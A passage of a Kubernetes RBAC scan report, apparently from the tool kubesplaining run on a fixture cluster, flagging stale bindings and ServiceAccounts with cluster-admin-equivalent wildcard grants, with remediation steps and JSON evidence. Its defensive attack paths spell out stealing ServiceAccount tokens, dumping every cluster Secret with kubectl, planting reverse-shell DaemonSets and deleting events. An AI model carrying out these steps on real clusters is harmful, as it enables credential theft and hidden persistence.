"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "hookbackend-fixtures",
  "resource_names": null,
  "resources": [
    "pods/binding"
  ],
  "scope": "namespace",
  "source_binding": "podbind-scheduler",
  "source_binding_kind": "RoleBinding",
  "source_role": "podbind-scheduler",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
MEDIUM

Cluster-wide stale binding references non-existent ClusterRole on ServiceAccount/rbac-fixtures/sa-stale-roleref

KUBE-RBAC-STALE-001 1 subject Score 5.0
MITRE ATT&CK: T1098T1078

Affected subject

MEDIUM ServiceAccount/rbac-fixtures/sa-stale-roleref Cluster 5.0
Cluster-wide stale binding references non-existent ClusterRole on ServiceAccount/rbac-fixtures/sa-stale-roleref
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-stale-roleref Resource: ClusterRole/kubesplaining-fixture-deleted-role

ClusterRoleBinding crb-stale-roleref grants permissions from ClusterRole kubesplaining-fixture-deleted-role, but no ClusterRole named kubesplaining-fixture-deleted-role exists in this cluster. The binding currently confers no effective permissions, so an attacker who already has ServiceAccount/rbac-fixtures/sa-stale-roleref gains nothing today.

What makes this risky is what happens *next*. The moment any identity with create clusterroles re-creates a clusterrole named exactly kubesplaining-fixture-deleted-role — by restoring it from version control, applying a cached manifest, or as a deliberate attack step — this binding silently activates and grants the new role's rules to every subject listed. The binding itself was never re-reviewed; the only review gate that fired was on the role definition. If the original review process that introduced this binding was looking at it in the context of a specific role's rules, that context is now gone.

Impact Latent grant: if anyone re-creates ClusterRole kubesplaining-fixture-deleted-role, ServiceAccount/rbac-fixtures/sa-stale-roleref (and every co-subject of this binding) inherits its permissions without further review.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker enumerates RBAC drift with kubectl get clusterrolebindings,rolebindings -A -o json | jq and identifies ClusterRoleBinding crb-stale-roleref as referencing a non-existent ClusterRole kubesplaining-fixture-deleted-role.
  2. Attacker (or any identity with create clusterroles) crafts a ClusterRole manifest named kubesplaining-fixture-deleted-role with maximally permissive rules — * verbs on * resources, for example.
  3. The new ClusterRole is created; Kubernetes immediately resolves the existing binding ClusterRoleBinding crb-stale-roleref to the new rules.
  4. ServiceAccount/rbac-fixtures/sa-stale-roleref now holds those permissions without any binding-review log entry — only the (likely-routine-looking) ClusterRole creation was reviewed.
Remediation
Delete the stale binding (kubectl delete clusterrolebinding crb-stale-roleref). If the ClusterRole was deleted by mistake, restore it from version control and confirm the binding's intended grant is still appropriate.
  1. Confirm the binding is no longer needed: kubectl get clusterrolebinding crb-stale-roleref -o yaml.
  2. If the ClusterRole kubesplaining-fixture-deleted-role should still exist, restore it from version control and re-review the binding's grant in the context of the restored rules.
  3. If the binding is obsolete, delete it: kubectl delete clusterrolebinding crb-stale-roleref.
  4. Add a CI lint (Kyverno / Gatekeeper / ValidatingAdmissionPolicy) that rejects any clusterrolebinding whose roleRef does not resolve to an existing ClusterRole.
Evidence
Source bindingcrb-stale-roleref
Inspect: kubectl get clusterrolebinding crb-stale-roleref -o yaml
missing_role
"kubesplaining-fixture-deleted-role"
missing_role_kind
"ClusterRole"
source_binding_kind
"ClusterRoleBinding"
Show raw JSON
{
  "binding_namespace": "",
  "missing_role": "kubesplaining-fixture-deleted-role",
  "missing_role_kind": "ClusterRole",
  "other_subjects": [],
  "source_binding": "crb-stale-roleref",
  "source_binding_kind": "ClusterRoleBinding"
}
LOW

Namespace rbac-fixtures only stale binding lists non-existent ServiceAccount rbac-fixtures/ghost-sa-fixture

KUBE-RBAC-STALE-002 1 subject Score 3.5
MITRE ATT&CK: T1098T1078

Affected subject

LOW ServiceAccount/rbac-fixtures/ghost-sa-fixture Namespace 3.5
Namespace rbac-fixtures only stale binding lists non-existent ServiceAccount rbac-fixtures/ghost-sa-fixture
Scope · Namespace Namespace rbac-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/ghost-sa-fixture Resource: Role/rbac-fixtures/r-stale-subject-target

RoleBinding rbac-fixtures/rb-stale-subject grants permissions from Role rbac-fixtures/r-stale-subject-target to ServiceAccount rbac-fixtures/ghost-sa-fixture, but no such ServiceAccount exists in namespace rbac-fixtures. No pods can mount a token for this SA today, so the binding confers no realised permissions.

This is latent privilege escalation. The moment a ServiceAccount named exactly ghost-sa-fixture is created in namespace rbac-fixtures — by an attacker with create serviceaccounts in that namespace, by a routine redeploy from a stale GitOps repo, or by an operator restoring an accidentally-deleted SA — it inherits everything Role rbac-fixtures/r-stale-subject-target grants. The binding itself is never re-reviewed; only the SA creation is, and that step usually looks unremarkable.

Note: kubesplaining only validates ServiceAccount subjects this way. User and Group subjects cannot be checked against the snapshot — Kubernetes authenticates them externally (OIDC, client certs, cloud IAM) and keeps no inventory of which identities are valid.

Impact Latent grant: an attacker with create serviceaccounts -n rbac-fixtures can pre-position a ServiceAccount named ghost-sa-fixture, mount its token in a pod they control, and instantly assume the permissions from Role rbac-fixtures/r-stale-subject-target.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker enumerates bindings with kubectl get rolebindings,clusterrolebindings -A -o json and notices RoleBinding rbac-fixtures/rb-stale-subject lists a subject ServiceAccount rbac-fixtures/ghost-sa-fixture that does not exist.
  2. Attacker uses an existing create serviceaccounts -n rbac-fixtures permission (or compromises an identity that has it) to create a ServiceAccount named ghost-sa-fixture in that namespace.
  3. Attacker creates a pod with spec.serviceAccountName: ghost-sa-fixture (or projects a TokenRequest for the new SA into a pod they control).
  4. The mounted token authenticates as ServiceAccount rbac-fixtures/ghost-sa-fixture, which now resolves through RoleBinding rbac-fixtures/rb-stale-subject into the role's permissions.
Remediation
Remove the stale ServiceAccount subject from the binding, or delete the binding entirely if it's obsolete. If the SA was deleted in error, restore it from version control.
  1. Confirm no workloads still depend on this SA: kubectl get all -n rbac-fixtures -o yaml | rg 'serviceAccountName:\s*ghost-sa-fixture'.
  2. Edit the binding to drop the stale subject, or delete the binding outright if it is obsolete.
  3. If the SA was deleted by mistake, restore it (kubectl apply -f <sa.yaml>) and re-review whether the binding's grant is still appropriate.
  4. Add a CI lint that rejects bindings whose ServiceAccount subjects do not resolve to an existing SA in the named namespace.
Evidence
Source roler-stale-subject-target
Inspect: kubectl get clusterrole r-stale-subject-target -o yaml
Source bindingrb-stale-subject
Inspect: kubectl get clusterrolebinding rb-stale-subject -o yaml
binding_namespace
"rbac-fixtures"
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "binding_namespace": "rbac-fixtures",
  "source_binding": "rb-stale-subject",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-stale-subject-target",
  "source_role_kind": "Role"
}

Service Accounts

20 findings · 4 rules · 11 critical · 8 high · 1 medium · 0 low
CRITICAL

ServiceAccount ServiceAccount/cert-manager/cert-manager holds wildcard verbs on wildcard resources (cluster-admin equivalent)

KUBE-SA-PRIVILEGED-001 8 subjects Score 10.0
MITRE ATT&CK: T1078.004T1098.004T1068

Affected subjects (8)

CRITICAL ServiceAccount/cert-manager/cert-manager Namespace 10.0
ServiceAccount ServiceAccount/cert-manager/cert-manager holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount cert-manager/cert-manager: namespace-scoped subject; mounted by pods in cert-manager
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: ServiceAccount/cert-manager/cert-manager

ServiceAccount ServiceAccount/cert-manager/cert-manager is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from cutres-deputy-cm-admin/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from cutres-deputy-cm-admin/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/cert-manager/cert-manager (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/cert-manager/cert-manager with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "cert-manager" and .namespace == "cert-manager")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/cert-manager/cert-manager. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on * in *
via cluster-admin (binding cutres-deputy-cm-admin) (cluster scope)
* on
via cluster-admin (binding cutres-deputy-cm-admin) (cluster scope)
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "cutres-deputy-cm-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "cutres-deputy-cm-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": null
}
CRITICAL ServiceAccount/cutres/cutres-detour Namespace 10.0
ServiceAccount ServiceAccount/cutres/cutres-detour holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount cutres/cutres-detour: namespace-scoped subject; mounted by pods in cutres
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: ServiceAccount/cutres/cutres-detour

ServiceAccount ServiceAccount/cutres/cutres-detour is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [create update patch] on resources [rolebindings] (from cutres-detour-binder/cutres-detour-binder in cutres)
- verbs [bind] on resources [clusterroles] (from cutres-detour-bind/cutres-detour-bind in cluster-wide)
- verbs [*] on resources [*] (from cutres-detour-direct/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from cutres-detour-direct/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/cutres/cutres-detour (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/cutres/cutres-detour with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "cutres-detour" and .namespace == "cutres")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/cutres/cutres-detour. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
createupdatepatch on rolebindings in rbac.authorization.k8s.io
via cutres-detour-binder (binding cutres-detour-binder) in namespace cutres
bind on clusterroles in rbac.authorization.k8s.io
via cutres-detour-bind (binding cutres-detour-bind) (cluster scope)
* on * in *
via cluster-admin (binding cutres-detour-direct) (cluster scope)
* on
via cluster-admin (binding cutres-detour-direct) (cluster scope)
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "cutres",
      "resource_names": null,
      "resources": [
        "rolebindings"
      ],
      "source_binding": "cutres-detour-binder",
      "source_role": "cutres-detour-binder",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    {
      "api_groups": [
        "rbac.authorization.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "clusterroles"
      ],
      "source_binding": "cutres-detour-bind",
      "source_role": "cutres-detour-bind",
      "verbs": [
        "bind"
      ]
    },
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "cutres-detour-direct",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "cutres-detour-direct",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": null
}
CRITICAL ServiceAccount/cutres/cutres-parallel Namespace 10.0
ServiceAccount ServiceAccount/cutres/cutres-parallel holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount cutres/cutres-parallel: namespace-scoped subject; mounted by pods in cutres
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: ServiceAccount/cutres/cutres-parallel

ServiceAccount ServiceAccount/cutres/cutres-parallel is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from cutres-parallel-a/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from cutres-parallel-a/cluster-admin in cluster-wide)
- verbs [*] on resources [*] (from cutres-parallel-b/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from cutres-parallel-b/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/cutres/cutres-parallel (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/cutres/cutres-parallel with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "cutres-parallel" and .namespace == "cutres")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/cutres/cutres-parallel. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on * in *
via cluster-admin (binding cutres-parallel-a) (cluster scope)
* on
via cluster-admin (binding cutres-parallel-a) (cluster scope)
* on * in *
via cluster-admin (binding cutres-parallel-b) (cluster scope)
* on
via cluster-admin (binding cutres-parallel-b) (cluster scope)
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "cutres-parallel-a",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "cutres-parallel-a",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "cutres-parallel-b",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "cutres-parallel-b",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": null
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged Namespace 10.0
ServiceAccount ServiceAccount/deepchain-tenant/deepchain-privileged holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount deepchain-tenant/deepchain-privileged: namespace-scoped subject; mounted by pods in deepchain-tenant
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: ServiceAccount/deepchain-tenant/deepchain-privileged

ServiceAccount ServiceAccount/deepchain-tenant/deepchain-privileged is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from deepchain-privileged/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from deepchain-privileged/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/deepchain-tenant/deepchain-privileged (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/deepchain-tenant/deepchain-privileged with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "deepchain-privileged" and .namespace == "deepchain-tenant")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/deepchain-tenant/deepchain-privileged. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on * in *
via cluster-admin (binding deepchain-privileged) (cluster scope)
* on
via cluster-admin (binding deepchain-privileged) (cluster scope)
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "deepchain-privileged",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "deepchain-privileged",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": null
}
CRITICAL ServiceAccount/flux-system/kustomize-controller Namespace 10.0
ServiceAccount ServiceAccount/flux-system/kustomize-controller holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount flux-system/kustomize-controller: namespace-scoped subject; mounted by pods in flux-system
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: ServiceAccount/flux-system/kustomize-controller

ServiceAccount ServiceAccount/flux-system/kustomize-controller is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from deepchain-flux-admin/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from deepchain-flux-admin/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/flux-system/kustomize-controller (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/flux-system/kustomize-controller with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "kustomize-controller" and .namespace == "flux-system")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
